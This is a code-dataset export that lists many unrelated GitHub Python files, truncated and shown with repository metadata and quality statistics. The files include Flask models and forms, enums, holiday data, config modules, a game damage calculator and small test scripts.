0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
2
0b34e96f621e57501bd4a81706adfa97265715af
889
py
Python
securenative/enums/event_types.py
securenative/securenative-python
0313808d6c4f282dd4ad21c7d3cab328ba414782
[ "MIT" ]
null
null
null
securenative/enums/event_types.py
securenative/securenative-python
0313808d6c4f282dd4ad21c7d3cab328ba414782
[ "MIT" ]
10
2019-07-16T07:23:46.000Z
2020-11-22T15:01:07.000Z
securenative/enums/event_types.py
securenative/securenative-python
0313808d6c4f282dd4ad21c7d3cab328ba414782
[ "MIT" ]
null
null
null
from enum import Enum class EventTypes(Enum): LOG_IN = "sn.user.login" LOG_IN_CHALLENGE = "sn.user.login.challenge" LOG_IN_FAILURE = "sn.user.login.failure" LOG_OUT = "sn.user.logout" SIGN_UP = "sn.user.signup" AUTH_CHALLENGE = "sn.user.auth.challenge" AUTH_CHALLENGE_SUCCESS = "sn.user.aut...
37.041667
61
0.712036
125
889
4.864
0.272
0.177632
0.078947
0.09375
0
0
0
0
0
0
0
0.001337
0.158605
889
23
62
38.652174
0.811497
0
0
0
0
0
0.440945
0.284589
0
0
0
0
0
1
0
false
0.190476
0.047619
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
0b370a31cb51dac0fbdf6a1af3730d683174302c
1,739
py
Python
myfunds/web/utils.py
anzodev/myfunds
9f6cda99f443cec064d15d7ff7780f297cbdfe10
[ "MIT" ]
null
null
null
myfunds/web/utils.py
anzodev/myfunds
9f6cda99f443cec064d15d7ff7780f297cbdfe10
[ "MIT" ]
null
null
null
myfunds/web/utils.py
anzodev/myfunds
9f6cda99f443cec064d15d7ff7780f297cbdfe10
[ "MIT" ]
null
null
null
import logging from datetime import datetime from typing import Optional from typing import Tuple from wtforms import Form from myfunds.web import notify from myfunds.web.exceptions import FormValidationError def make_amount_pattern(currency_precision: int) -> str: pattern = r"^\d+" if currency_precision ==...
27.171875
83
0.699827
225
1,739
5.226667
0.337778
0.173469
0.068027
0.058673
0.044218
0
0
0
0
0
0
0.012623
0.179989
1,739
63
84
27.603175
0.812062
0.025302
0
0.04878
0
0
0.102427
0.058615
0
0
0
0
0
1
0.219512
false
0
0.170732
0.073171
0.609756
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
0b449fd6b489460dcc4b475f0f85fe7fda592315
389
py
Python
exercises/ex13.py
richardcornish/richlearnspythonthehardway
3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3
[ "BSD-3-Clause" ]
null
null
null
exercises/ex13.py
richardcornish/richlearnspythonthehardway
3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3
[ "BSD-3-Clause" ]
null
null
null
exercises/ex13.py
richardcornish/richlearnspythonthehardway
3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3
[ "BSD-3-Clause" ]
1
2016-01-29T20:38:23.000Z
2016-01-29T20:38:23.000Z
# Exercise 13 # https://learnpythonthehardway.org/book/ex13.html from sys import argv script, first, second, third = argv print "The script is called:", script print "Your first variable is:", first print "Your second variable is:", second print "Your third variable is:", third opinion = raw_input("What do you thin...
25.933333
57
0.727506
59
389
4.779661
0.542373
0.095745
0
0
0
0
0
0
0
0
0
0.012232
0.159383
389
14
58
27.785714
0.850153
0.154242
0
0
0
0
0.441718
0
0
0
0
0
0
0
null
null
0
0.125
null
null
0.625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
2
0b4f7510f3339e360cce46ba3651e6de41dc65e9
438
py
Python
backend/api/app/database/EducationModel.py
nai98x/SearchJobs
19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7
[ "MIT" ]
null
null
null
backend/api/app/database/EducationModel.py
nai98x/SearchJobs
19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7
[ "MIT" ]
null
null
null
backend/api/app/database/EducationModel.py
nai98x/SearchJobs
19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7
[ "MIT" ]
null
null
null
from app.database.db import db, BaseModelMixin class Education(db.Model, BaseModelMixin): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(100)) place = db.Column(db.String) start_date = db.Column(db.DateTime) end_date = db.Column(db.DateTime) curriculum_id = db.Column(d...
33.692308
89
0.694064
62
438
4.774194
0.483871
0.162162
0.202703
0.081081
0.277027
0
0
0
0
0
0
0.00831
0.175799
438
13
90
33.692308
0.811634
0
0
0
0
0
0.029613
0
0
0
0
0
0
1
0.1
false
0
0.1
0
0.9
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
0b7197f046ad62ca9698c01291790c514c425fa5
53
py
Python
modules/__init__.py
SaeedNajafi/transliterator
523a087b777a5d6eec041165dabb43848f6222e6
[ "MIT" ]
null
null
null
modules/__init__.py
SaeedNajafi/transliterator
523a087b777a5d6eec041165dabb43848f6222e6
[ "MIT" ]
null
null
null
modules/__init__.py
SaeedNajafi/transliterator
523a087b777a5d6eec041165dabb43848f6222e6
[ "MIT" ]
null
null
null
__all__ = ["encoder", "mldecoder", "rltrain", "crf"]
26.5
52
0.622642
5
53
5.8
1
0
0
0
0
0
0
0
0
0
0
0
0.113208
53
1
53
53
0.617021
0
0
0
0
0
0.490566
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0b72d820a4aad9acbfd911e54c5da832c4318f4f
2,786
py
Python
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py
xeals/holidata
c99a56b63b1cb9dc5f4f79f3de83ba3865215250
[ "MIT" ]
null
null
null
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py
xeals/holidata
c99a56b63b1cb9dc5f4f79f3de83ba3865215250
[ "MIT" ]
null
null
null
tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py
xeals/holidata
c99a56b63b1cb9dc5f4f79f3de83ba3865215250
[ "MIT" ]
null
null
null
[ { 'date': '2022-01-01', 'description': 'Nyårsdagen', 'locale': 'sv-SE', 'notes': '', 'region': '', 'type': 'NF' }, { 'date': '2022-01-06', 'description': 'Trettondedag jul', 'locale': 'sv-SE', 'notes': '', 'region': ''...
21.430769
48
0.359296
215
2,786
4.655814
0.218605
0.127872
0.15984
0.23976
0.581419
0.581419
0.581419
0.554446
0.554446
0.307692
0
0.077201
0.404882
2,786
130
49
21.430769
0.526538
0
0
0.492308
0
0
0.378902
0
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
0b7815b23f2bc0ae952eb33cbb88431c49689be7
1,014
py
Python
app/models/ad.py
PJI01-Aricanduva-01/ari01-campaigncalculator
06f3c25e7b102d7fda9f6a310778d50a6a5151e7
[ "Apache-2.0" ]
2
2021-11-28T17:40:44.000Z
2021-11-28T17:40:48.000Z
app/models/ad.py
PJI01-Aricanduva-01/ari01-campaigncalculator
06f3c25e7b102d7fda9f6a310778d50a6a5151e7
[ "Apache-2.0" ]
null
null
null
app/models/ad.py
PJI01-Aricanduva-01/ari01-campaigncalculator
06f3c25e7b102d7fda9f6a310778d50a6a5151e7
[ "Apache-2.0" ]
null
null
null
#importando a classe db do objeto app from app import db #criando a classe que representa a tabela campaign_set class Ad(db.Model): #atributo que se refere ao nome real da tabela no bando de dados __tablename__ = "ad" #atributos que se referem ao campos da tabela ad_id = db.Column(db.Integer, primary_...
32.709677
88
0.703156
155
1,014
4.341935
0.432258
0.066865
0.062407
0.071322
0.124814
0
0
0
0
0
0
0
0.210059
1,014
31
89
32.709677
0.8402
0.298817
0
0
0
0
0.06383
0
0
0
0
0.032258
0
1
0.125
false
0
0.0625
0.0625
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
2
0b7f17848e6f8ecd9fed704729f9f24751d004cf
2,310
py
Python
app/__init__.py
meedan/alegre
ad28736f53b8905882e196e90cac66d39db341a3
[ "MIT" ]
11
2018-02-07T00:16:54.000Z
2021-05-13T22:47:07.000Z
app/__init__.py
meedan/alegre
ad28736f53b8905882e196e90cac66d39db341a3
[ "MIT" ]
47
2018-11-26T23:17:37.000Z
2022-03-25T16:12:05.000Z
app/__init__.py
meedan/alegre
ad28736f53b8905882e196e90cac66d39db341a3
[ "MIT" ]
9
2019-05-23T22:06:03.000Z
2020-10-27T20:45:04.000Z
# app/__init__.py from flask_restplus import Api from flask import Blueprint from .main.controller.about_controller import api as about_ns from .main.controller.healthcheck_controller import api as healthcheck_ns from .main.controller.langid_controller import api as langid_ns from .main.controller.similarity_controll...
51.333333
95
0.830736
326
2,310
5.582822
0.131902
0.079121
0.148352
0.173077
0.363187
0.075824
0
0
0
0
0
0.000943
0.082251
2,310
44
96
52.5
0.857547
0.006494
0
0
0
0
0.116877
0.030528
0
0
0
0
0
1
0
false
0
0.447368
0
0.447368
0.078947
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
0b981a9a6a380734936e6b7fb739255dd75c367c
719
py
Python
plant_disease_classification/__init__.py
liuxiaohui1221/plant-disease-classification-tf
cd2176a0694305c5c6b1b09a72725330f10ce092
[ "MIT" ]
1
2022-01-15T07:18:47.000Z
2022-01-15T07:18:47.000Z
plant_disease_classification/__init__.py
aryanvichare/plant-disease-classification
3f587c64c0157fdcfe10f6357a7d4dab3b32d618
[ "MIT" ]
5
2020-09-26T00:34:27.000Z
2022-02-10T01:14:30.000Z
plant_disease_classification/__init__.py
aryanvichare/plant-disease-classification
3f587c64c0157fdcfe10f6357a7d4dab3b32d618
[ "MIT" ]
1
2021-01-09T21:21:26.000Z
2021-01-09T21:21:26.000Z
#!/usr/bin/env python '''Disease classification on different plants with Neural Networks.''' from __future__ import absolute_import __author__ = 'Abdullah Selek' __email__ = 'abdullahselek@gmail.com' __copyright__ = 'Copyright (c) 2018 Abdullah Selek' __license__ = 'MIT License' __version__ ...
32.681818
85
0.759388
76
719
6.631579
0.526316
0.25
0.206349
0.126984
0.460317
0.460317
0.460317
0.460317
0.238095
0
0
0.009868
0.154381
719
21
86
34.238095
0.819079
0.11822
0
0
0
0
0.429936
0.036624
0
0
0
0
0
1
0
false
0
0.214286
0
0.214286
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0ba008686251477c025bec33b87cd808a62da39d
1,119
py
Python
Payload_Types/kayn/mythic/agent_functions/code.py
simonedaini/Mythic
e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33
[ "BSD-3-Clause" ]
null
null
null
Payload_Types/kayn/mythic/agent_functions/code.py
simonedaini/Mythic
e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33
[ "BSD-3-Clause" ]
null
null
null
Payload_Types/kayn/mythic/agent_functions/code.py
simonedaini/Mythic
e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33
[ "BSD-3-Clause" ]
null
null
null
from mythic_payloadtype_container.MythicCommandBase import * from mythic_payloadtype_container.MythicRPC import * import base64 import os import json class CodeArguments(TaskArguments): def __init__(self, command_line): super().__init__(command_line) self.args = {} async def parse_arguments(s...
28.692308
67
0.673816
131
1,119
5.557252
0.59542
0.06044
0.061813
0.082418
0
0
0
0
0
0
0
0.019699
0.228776
1,119
38
68
29.447368
0.82387
0
0
0.064516
0
0
0.144772
0
0
0
0
0
0
1
0.032258
false
0.096774
0.16129
0
0.580645
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
0ba3c6020ba898a872a990f4615f16fb39df1fbd
1,225
py
Python
project/models/multinomial_model.py
jayson-garrison/ML-Naive-Bayes
8026fae6413bc4f5b42d66eff8f1296a310b467c
[ "MIT" ]
1
2022-01-18T01:58:24.000Z
2022-01-18T01:58:24.000Z
project/models/multinomial_model.py
jayson-garrison/ML-Naive-Bayes
8026fae6413bc4f5b42d66eff8f1296a310b467c
[ "MIT" ]
null
null
null
project/models/multinomial_model.py
jayson-garrison/ML-Naive-Bayes
8026fae6413bc4f5b42d66eff8f1296a310b467c
[ "MIT" ]
null
null
null
"""" Author: Jayson C. Garrison Dates: 01/15/2022 Course: CS-5333 (Machine Learning) Description: Multinomial event model implementation GitHub: https://github.com/jayson-garrison/ML-Naive-Bayes """ from models.model import GenericModel as GM class MultinomialModel(GM): def __init__(self, data_set, label_set, nu...
40.833333
216
0.697143
147
1,225
5.632653
0.489796
0.108696
0.096618
0.164251
0.307971
0.307971
0.198068
0.198068
0.198068
0.198068
0
0.017085
0.187755
1,225
29
217
42.241379
0.815075
0.409796
0
0
0
0
0
0
0
0
0
0
0
1
0.285714
false
0
0.071429
0.071429
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
0ba8e4601f9caaeb307627262ee4d1a554a12679
2,185
py
Python
src/planner/abstract_plan.py
Ashwin1934/eva
53c1172a0f8a7409cf0ef97efea957979a8290a0
[ "Apache-2.0" ]
1
2019-12-08T03:48:44.000Z
2019-12-08T03:48:44.000Z
src/planner/abstract_plan.py
Ashwin1934/eva
53c1172a0f8a7409cf0ef97efea957979a8290a0
[ "Apache-2.0" ]
null
null
null
src/planner/abstract_plan.py
Ashwin1934/eva
53c1172a0f8a7409cf0ef97efea957979a8290a0
[ "Apache-2.0" ]
1
2019-12-04T17:09:40.000Z
2019-12-04T17:09:40.000Z
# coding=utf-8 # Copyright 2018-2020 EVA # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
26.975309
74
0.629291
268
2,185
5.022388
0.436567
0.041605
0.026746
0.023774
0
0
0
0
0
0
0
0.009634
0.287414
2,185
80
75
27.3125
0.854849
0.49611
0
0.111111
0
0
0.030238
0
0.037037
0
0
0
0
1
0.259259
false
0
0.111111
0
0.555556
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
0bae70c6125c8a050cfa3ee9b325f11242552dc6
576
py
Python
DataStructures/LinkedList.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
1
2017-05-29T02:02:27.000Z
2017-05-29T02:02:27.000Z
DataStructures/LinkedList.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
null
null
null
DataStructures/LinkedList.py
bourneagain/pythonBytes
be115162147e52718aacbfb9cd2763aa02754f28
[ "MIT" ]
null
null
null
""" Implementation of Node : linked list in Python """ class Node: def __init__(self,initdata): self.data = initdata self.next = None def getData(self): return self.data def getNext(self): return self.next def setData(self,newdata): self.data = newdata def...
19.2
46
0.616319
65
576
5.4
0.446154
0.068376
0.079772
0.182336
0
0
0
0
0
0
0
0.019093
0.272569
576
30
47
19.2
0.818616
0
0
0.1
0
0
0.015296
0
0
0
0
0
0
0
null
null
0
0
null
null
0.15
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
0bbc60a5893ac733485e1721617eecf3fdd903c6
6,348
py
Python
python/src/vmaf/config.py
aachenmax/vmaf
e65143f36ac9324a1242614bdd6256861d4f46f6
[ "BSD-2-Clause-Patent" ]
1
2020-05-05T11:05:04.000Z
2020-05-05T11:05:04.000Z
python/src/vmaf/config.py
aachenmax/vmaf
e65143f36ac9324a1242614bdd6256861d4f46f6
[ "BSD-2-Clause-Patent" ]
null
null
null
python/src/vmaf/config.py
aachenmax/vmaf
e65143f36ac9324a1242614bdd6256861d4f46f6
[ "BSD-2-Clause-Patent" ]
null
null
null
from __future__ import absolute_import import os __copyright__ = "Copyright 2016-2020, Netflix, Inc." __license__ = "BSD+Patent" PYTHON_ROOT = os.path.dirname(os.path.realpath(__file__)) ROOT = os.path.abspath(os.path.join(PYTHON_ROOT, '..', '..', '..',)) class VmafExternalConfig(object): _MISSING_EXTERNAL_ME...
31.899497
147
0.638626
755
6,348
5.160265
0.157616
0.089836
0.064682
0.045175
0.518224
0.518224
0.493326
0.447125
0.375513
0.327259
0
0.002539
0.255514
6,348
198
148
32.060606
0.821837
0.177221
0
0.264463
0
0.008264
0.126384
0
0
0
0
0
0.066116
1
0.223141
false
0.008264
0.049587
0.082645
0.528926
0.008264
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
e7f9a690750eff2bc0ccbe8bbdae2136be695846
2,880
py
Python
Python/demos/visplugin.py
hpbader42/Klampt
89faaef942c0c6fca579a3770314c6610e2ac772
[ "BSD-3-Clause" ]
null
null
null
Python/demos/visplugin.py
hpbader42/Klampt
89faaef942c0c6fca579a3770314c6610e2ac772
[ "BSD-3-Clause" ]
null
null
null
Python/demos/visplugin.py
hpbader42/Klampt
89faaef942c0c6fca579a3770314c6610e2ac772
[ "BSD-3-Clause" ]
1
2019-07-01T08:48:32.000Z
2019-07-01T08:48:32.000Z
#!/usr/bin/python import sys from klampt import * from klampt.math import * from klampt import vis from klampt.model import collide import time class MyGLPlugin(vis.GLPluginInterface): def __init__(self,world): vis.GLPluginInterface.__init__(self) self.world = world self.collider = collide...
31.304348
126
0.610417
403
2,880
4.312655
0.42928
0.008055
0.024166
0.006904
0.032221
0.004603
0
0
0
0
0
0.015865
0.277778
2,880
91
127
31.648352
0.819712
0.180903
0
0.076923
0
0.015385
0.128717
0
0
0
0
0.010989
0
0
null
null
0
0.092308
null
null
0.107692
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
1
0
0
0
0
0
0
0
0
2
f001c58c6f2c8d058d1226b816798f8085acbcfb
662
py
Python
forms.py
Qwaz/blind-vote
eabec7418c6c4ed00006cfdb19e47f758670dbe6
[ "MIT" ]
1
2015-12-12T02:57:08.000Z
2015-12-12T02:57:08.000Z
forms.py
Qwaz/blind-vote
eabec7418c6c4ed00006cfdb19e47f758670dbe6
[ "MIT" ]
null
null
null
forms.py
Qwaz/blind-vote
eabec7418c6c4ed00006cfdb19e47f758670dbe6
[ "MIT" ]
null
null
null
from flask.ext.wtf import Form from wtforms import StringField, TextAreaField, HiddenField, RadioField from wtforms.validators import DataRequired class InitForm(Form): master = HiddenField('마스터키') vote_name = StringField('투표명', validators=[DataRequired()]) detail = TextAreaField('질문') response = Stri...
31.52381
71
0.722054
67
662
7.119403
0.507463
0.27673
0.113208
0
0
0
0
0
0
0
0
0
0.137462
662
20
72
33.1
0.835377
0
0
0
0
0
0.045317
0
0
0
0
0
0
1
0
false
0
0.214286
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
f0055b3b0e6a8715ac080cc41c7e81b6f0d2bfdc
205
py
Python
tests/farm/annotate/src/b/b.py
AboudFayad/coveragepy
b9c84eb813ad23f053120b8dad31b635c81376ae
[ "Apache-2.0" ]
1
2021-01-03T00:57:40.000Z
2021-01-03T00:57:40.000Z
tests/farm/annotate/src/b/b.py
AboudFayad/coveragepy
b9c84eb813ad23f053120b8dad31b635c81376ae
[ "Apache-2.0" ]
1
2018-11-04T10:30:13.000Z
2018-11-04T10:30:13.000Z
tests/farm/annotate/src/b/b.py
AboudFayad/coveragepy
b9c84eb813ad23f053120b8dad31b635c81376ae
[ "Apache-2.0" ]
2
2018-10-23T08:54:38.000Z
2018-11-22T10:14:26.000Z
# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 # For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt def b(x): msg = "x is %s" % x print(msg)
29.285714
79
0.692683
34
205
4.176471
0.852941
0
0
0
0
0
0
0
0
0
0
0.011429
0.146341
205
6
80
34.166667
0.8
0.731707
0
0
0
0
0.134615
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.333333
0.333333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
f0083420981ba5771b36fe22a235853be485cc25
2,083
py
Python
holmes/event_bus.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
holmes/event_bus.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
holmes/event_bus.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import logging from collections import defaultdict from time import time from ujson import loads class NoOpEventBus(object): def __init__(self, application): self.application = application def subscribe(self, channel, uuid, handler): pass def un...
26.0375
128
0.630821
252
2,083
5.059524
0.253968
0.082353
0.047059
0.026667
0.255686
0.177255
0.084706
0.084706
0
0
0
0.000651
0.262122
2,083
79
129
26.367089
0.828887
0.018243
0
0.423077
0
0
0.031816
0
0
0
0
0
0
1
0.230769
false
0.076923
0.076923
0.019231
0.442308
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
f0102ac51a4a849b42b5e7929bad3c6b7af9d2c2
391
py
Python
models/user.py
MikuEngineering/missue-tracker-linebot
e6230f84d589610548a1d8403f66911656e2d716
[ "MIT" ]
null
null
null
models/user.py
MikuEngineering/missue-tracker-linebot
e6230f84d589610548a1d8403f66911656e2d716
[ "MIT" ]
null
null
null
models/user.py
MikuEngineering/missue-tracker-linebot
e6230f84d589610548a1d8403f66911656e2d716
[ "MIT" ]
null
null
null
from extensions.db import db class User(db.Model): user_id = db.Column(db.String(60), primary_key=True) token = db.Column(db.String(60), unique=True, index=True) @staticmethod def find(user_id: str): return User.query.filter_by(user_id=user_id).first() @staticmethod def find_by_token...
26.066667
61
0.68798
60
391
4.333333
0.433333
0.092308
0.076923
0.123077
0.338462
0.2
0
0
0
0
0
0.0125
0.181586
391
14
62
27.928571
0.8
0
0
0.2
0
0
0
0
0
0
0
0
0
1
0.2
false
0
0.1
0.2
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
f02ae3fb2cc300567de2fb3581432f7dba9c67f5
9,118
py
Python
dpmModule/jobs/captain.py
kmsiapps/maplestory_dpm_calc
fbbc5384fdb6aefb58aa4d0d286a6c2972807d57
[ "MIT" ]
null
null
null
dpmModule/jobs/captain.py
kmsiapps/maplestory_dpm_calc
fbbc5384fdb6aefb58aa4d0d286a6c2972807d57
[ "MIT" ]
null
null
null
dpmModule/jobs/captain.py
kmsiapps/maplestory_dpm_calc
fbbc5384fdb6aefb58aa4d0d286a6c2972807d57
[ "MIT" ]
null
null
null
from ..kernel import core from ..kernel.core import VSkillModifier as V from ..character import characterKernel as ck from functools import partial from ..status.ability import Ability_tool from . import globalSkill from .jobbranch import pirates from .jobclass import adventurer from . import jobutils class JobGenerat...
54.27381
220
0.651568
1,083
9,118
5.405355
0.350877
0.034165
0.022549
0.019986
0.166894
0.084387
0.084387
0.059447
0.059447
0.045439
0
0.082096
0.231849
9,118
168
221
54.27381
0.753712
0.075236
0
0
0
0
0.040424
0
0
0
0
0.011905
0
1
0.044444
false
0.088889
0.1
0
0.188889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
f02e22d2bf4c1f3abf3ecc7c99229353f18c79ea
111
py
Python
main.py
brianshef/arroguella
7dfde689e5ac59c152faf50d4118c24c315b4bcd
[ "Unlicense" ]
1
2018-08-10T19:28:25.000Z
2018-08-10T19:28:25.000Z
main.py
brianshef/arroguella
7dfde689e5ac59c152faf50d4118c24c315b4bcd
[ "Unlicense" ]
null
null
null
main.py
brianshef/arroguella
7dfde689e5ac59c152faf50d4118c24c315b4bcd
[ "Unlicense" ]
null
null
null
#!/bin/python from arroguella import game def main(): game.run() if __name__ == '__main__': main()
10.090909
27
0.621622
14
111
4.357143
0.785714
0
0
0
0
0
0
0
0
0
0
0
0.225225
111
10
28
11.1
0.709302
0.108108
0
0
0
0
0.081633
0
0
0
0
0
0
1
0.2
true
0
0.2
0
0.4
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
f03a874dbe60a422484ccc4e1f147786d61bea6a
978
py
Python
test.py
jgolebiowski/kitkopt
0b46d38004b75799dd1e8603a445b1d711c03735
[ "MIT" ]
6
2018-11-19T09:49:19.000Z
2020-01-16T00:21:14.000Z
test.py
jgolebiowski/kitkopt
0b46d38004b75799dd1e8603a445b1d711c03735
[ "MIT" ]
null
null
null
test.py
jgolebiowski/kitkopt
0b46d38004b75799dd1e8603a445b1d711c03735
[ "MIT" ]
1
2019-02-20T19:57:47.000Z
2019-02-20T19:57:47.000Z
import logging import unittest import tst.test_kernels import tst.test_gaussian_process import tst.test_rescale import tst.test_hypergrid import tst.test_random_optimizer import tst.test_bayesian_optimizer import tst.test_acquisition def main(): # initialize suite = unittest.TestSuite() loader = unittest....
29.636364
74
0.790389
114
978
6.535088
0.298246
0.131544
0.122148
0.347651
0.437584
0.437584
0.142282
0
0
0
0
0.001163
0.120654
978
32
75
30.5625
0.865116
0.04499
0
0
0
0
0.008602
0
0
0
0
0
0
1
0.043478
false
0
0.391304
0
0.434783
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
f05a7c4b1d0044762795ac4cb7269f8b49f2284d
1,791
py
Python
vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py
ylankgz/amazon-ssm-agent
a2e5f7017349c31ff8ea602a80c191bc008cecb4
[ "Apache-2.0" ]
6,943
2015-01-29T00:58:58.000Z
2022-03-31T14:34:49.000Z
vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py
ylankgz/amazon-ssm-agent
a2e5f7017349c31ff8ea602a80c191bc008cecb4
[ "Apache-2.0" ]
182
2015-01-05T16:37:37.000Z
2022-03-23T19:01:02.000Z
vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py
ylankgz/amazon-ssm-agent
a2e5f7017349c31ff8ea602a80c191bc008cecb4
[ "Apache-2.0" ]
879
2015-02-09T13:49:38.000Z
2022-03-29T17:49:02.000Z
import random l1 = [] l2 = [] for i in range(20): l1.append(random.uniform(-1E10, 1E10)) l2.append(random.uniform(-1E10, 1E10)) print(l1) print(l2) l = [] l.extend(l1) l.extend(l2) print(sorted(l)) ''' [6015943293.071386, -3878285748.0708866, 8674121166.062424, -1528465047.6118088, 7584260716.4948...
42.642857
80
0.792853
195
1,791
7.282051
0.492308
0.016901
0.026761
0.032394
0.038028
0
0
0
0
0
0
0.787733
0.071468
1,791
41
81
43.682927
0.066146
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.083333
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f05b9dd290c6d102545ad5eb837f44eb460dc980
707
py
Python
tests/datetime_/test_objects.py
a-maliarov/pyaction
2de500df5087a9d2225c898537c1673ef5835869
[ "MIT" ]
9
2020-10-12T05:20:55.000Z
2020-10-18T07:30:26.000Z
tests/datetime_/test_objects.py
a-maliarov/pyaction
2de500df5087a9d2225c898537c1673ef5835869
[ "MIT" ]
2
2021-04-29T22:15:46.000Z
2021-12-07T11:06:57.000Z
tests/datetime_/test_objects.py
a-maliarov/pyaction
2de500df5087a9d2225c898537c1673ef5835869
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from pyaction.datetime_.objects import * import unittest import sys import os #----------------------------------------------------------------------------- here = os.path.abspath(os.path.dirname(__file__)) files = os.path.join(here, 'files') class TestDatetimeObjects(unittest.TestCase): ...
29.458333
78
0.541726
80
707
4.525
0.5125
0.049724
0.082873
0.055249
0.116022
0.116022
0
0
0
0
0
0.066451
0.127298
707
23
79
30.73913
